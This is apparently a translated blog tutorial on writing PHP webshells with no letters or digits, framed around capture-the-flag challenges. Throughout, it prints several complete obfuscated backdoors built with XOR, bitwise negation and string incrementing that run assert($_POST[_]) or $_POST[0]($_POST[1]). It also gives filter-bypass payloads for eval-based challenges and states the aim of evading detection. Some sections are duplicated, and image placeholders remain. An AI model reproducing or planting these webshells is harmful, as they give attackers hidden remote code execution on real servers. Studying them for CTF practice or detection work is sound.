Construct a webshell that does not contain letters and numbers

Bypass without letters and numbers

Knowledge introduction

<?php
        echo "A"^"`";
 ?>

Insert image description here

The result from the operation is!

We can see that the output result is the character "!". The reason why such a result is obtained is because the character "A" and the character "`" are XORed in the code . In PHP, when two variables are XORed, the string is first converted into an ASCII value, and then the ASCII value is converted into binary and then XORed. After the XOR is completed, the result is converted from binary to ASCII value, and then Convert ASCII value to string. The XOR operation is sometimes used to exchange the values ​​of two variables.

XOR operation:

The XOR operation is when two binary numbers are the same, the XOR is 0, and the difference is 1.

Take the above example

The ASCII value of A is 65, and the corresponding binary value is 0100 0001

The ASCll value of ` is 96, and the corresponding binary value is 0110 0000

By XORing the binary bits 0010 0001, the ASCII value is 33, and the corresponding string value is!

We all know that PHP is a weakly typed language, which means that in PHP we can directly declare a variable and perform initialization or assignment operations without declaring the type of the variable in advance. It is precisely because of this feature of PHP's weak typing that we implicitly convert PHP's variable types and use this feature to perform some unconventional operations. For example, if you convert an integer type into a string type, treat a boolean type as an integer type, or process a string type as a function, let's look at a piece of code:

<?php
    function B(){
    
    
        echo "Hello Angel_Kitty";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>

Insert image description here

Analyze the above code:

$_++;The meaning of this line of code is to "_"increment the variable named. The default value of undefined variables in PHP is null, nullfalse0, we can get a number by incrementing an undefined variable without using any number.
$__="?" ^ "}";Perform an XOR operation on the characters "?" and "}", and assign the result B to the variable named "__" (two underscores). Through the
$ __ ();above assignment operation, the $__value of the variable is B, so this line can be regarded as It is B(). In PHP, this line of code means calling function B, so the execution result is Hello Angel_Kitty. In PHP, we can treat strings as functions.

At this point, I believe you will not be so confused if you see similar PHP backdoors again. You can understand the functions that the backdoor wants to achieve by analyzing the backdoor code sentence by sentence.

We hope to use this backdoor to create some strings that can bypass detection and be useful to us, such as "_POST", "system", "call_user_func_array", or whatever we need.

The following is a very simple non-numeric alphabetic PHP backdoor

<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${
    
    $__}[!$_](${
    
    $__}[$_]); // $_POST[0]($_POST[1]);
?>

There are also the following questions that require us to execute the getFlag function, pass parameters through GET, and filter the code parameters with letter case and numbers.

This problem can be bypassed using the XOR operation

topic

<?php
if(isset($_GET['code'])){
    
    
    $code = $_GET['code'];
    if(strlen($code)>40){
    
    
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
    
    
        die("NO.");
    }
    @eval($code);
}else{
    
    
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";

function getFlag(){
    
    
    echo "{bypass successfully!}";
}

?>
Method 1: Bypassing the XOR operation

Insert image description here

# 解释?code=$_="`{
    
    {
    
    {"^"?<>/";${$_}[_]();&_=getFlag
$_="`{
    
    {
    
    {"^"?<>/"; //_GET
${
    
    $_}[_](); //_GET[_]()&_=getFlag结合上面可得?code=_GET[getFlag]()
所以直接就执行了getFlag(),拿到flag
Method 2: Negate to bypass

Insert image description here

The following pictures can explain

Insert image description here

The filtering is not very strict

Using XOR to bypass regular expressions

<?php
$_=(']'^'<').('^'^'-').('^'^'-').('^'^';').('_'^'-').('*'^'~'); // $_='assert';
$__='_'.('|'^',').('`'^'/').('('^'{').('('^'|'); // $__='_POST';
$___=$$__;
$_($___[_]); //assert($_POST[_]);    

Use negation to bypass

<?php
$__=('>'>'<')+('>'>'<'); //2
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{
    
    $_});$___="和";$____.=~($___{
    
    $__});$___="和";$____.=~($___{
    
    $__});$___="的";$____.=~($___{
    
    $_});$___="半";$____.=~($___{
    
    $_});$___="始";$____.=~($___{
    
    $__});

$_____='_';$___="俯";$_____.=~($___{
    
    $__});$___="瞰";$_____.=~($___{
    
    $__});$___="次";$_____.=~($___{
    
    $_});$___="站";$_____.=~($___{
    
    $_});

$_=$$_____;
$____($_[$__]);

Utilize PHP syntax rules

This requires the help of a little trick in PHP. First read the documentation: http://php.net/manual/zh/language.operators.increment.php

When dealing with arithmetic operations on character variables, PHP follows Perl's habits rather than C's. For example, in Perl $a = 'Z'; $a++; will turn $a into 'AA', while in C, a = 'Z'; a++; will turn a into '['('Z' The ASCII value of '[' is 90, and the ASCII value of '[' is 91). Note that character variables can only be incremented, not decremented, and only support pure letters (az and AZ). Incrementing/decrementing other character variables is invalid and the original string will not change.

In other words, 'a'++ => 'b', 'b'++ => 'c'... So, as long as we can get a variable with the value a, we can get az through the auto-increment operation All characters.

So, how to get a variable whose value is the string 'a'?

Coincidentally, the first letter of the array (Array) is a capital A, and the fourth letter is a lowercase a. In other words, we can get both lowercase and uppercase A, which means we can get all the letters of az and AZ.

In PHP, if you force the connection between an array and a string, the array will be converted into a string, and its value will be Array:

Insert image description here

Then take the first letter of this string and you can get 'A'.

Using this technique, I wrote the following webshell (because PHP functions are case-insensitive, so what we end up executing is ASSERT($ POST[ ]), without getting the lowercase a):

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
ASSERT
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

Advanced bypass

<?php 

include'flag.php'; 

if(isset($_GET['code'])){
    
     
   $code=$_GET['code']; 
   if(strlen($code)>50){
    
     
       die("Too Long."); 
  } 
   if(preg_match("/[A-Za-z0-9_]+/",$code)){
    
     
       die("Not Allowed."); 
  } 
   @eval($code); 
}else{
    
     
   highlight_file(__FILE__); 
} 
//$hint = "php function getFlag() to get flag"; 
?>
//flag.php

<?php
function getFlag(){
    echo "{bypass successfully!}";
}
?>

Because _ is filtered, we cannot use the previous conventional method, then we continue to perform the XOR operation and use the following method

echo "@@^|@@@" ^ "'%*:,!'"; //getFlag

The final payload is

?code=$啊="@@^|@@@"^"'%*:,!'";$啊();

Insert image description here

Use php7 features to directly bypass

<?php
if(isset($_GET['code'])){
    
    
    $code = $_GET['code'];
    if(strlen($code)>35){
    
    
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
    
    
        die("NO.");
    }
    eval($code);
}else{
    
    
    highlight_file(__FILE__);
}
  • The webshell length does not exceed 35 characters
  • In addition to not containing letters and numbers, it cannot contain $ and _

The difficulty is about to emerge. The previous answers all used variables in PHP. They need to perform operations such as deformation, XOR, and negation on the variables, and finally dynamically execute the function. But now, because $ can no longer be used, we cannot construct variables in PHP.

So, how to solve this problem?

The order of expression execution has been modified in php7: http://php.net/manual/zh/migration70.incompatible.php:

Before PHP7, it was not allowed to use ($a)(); to execute dynamic functions, but support for this was added in PHP7. Therefore, we can execute the function through ('phpinfo')();, and the first bracket can be any PHP expression.

So it's very simple, just construct a PHP expression that can generate the string phpinfo. The payload is as follows (invisible characters are represented by URL encoding):

Give the payload directly

?code=(~%8F%97%8F%96%91%99%90)();

The order of expression execution has been modified in php7: http://php.net/manual/zh/migration70.incompatible.php:

Before PHP7, it was not allowed to use ($a)(); to execute dynamic functions, but support for this was added in PHP7. Therefore, we can execute the function through ('phpinfo')();, and the first bracket can be any PHP expression.

So it's very simple, just construct a PHP expression that can generate the string phpinfo. The payload is as follows (invisible characters are represented by URL encoding):

Give the payload directly

?code=(~%8F%97%8F%96%91%99%90)();

Insert image description here

Guess you like

Origin blog.csdn.net/bo1029/article/details/132392674
Recommended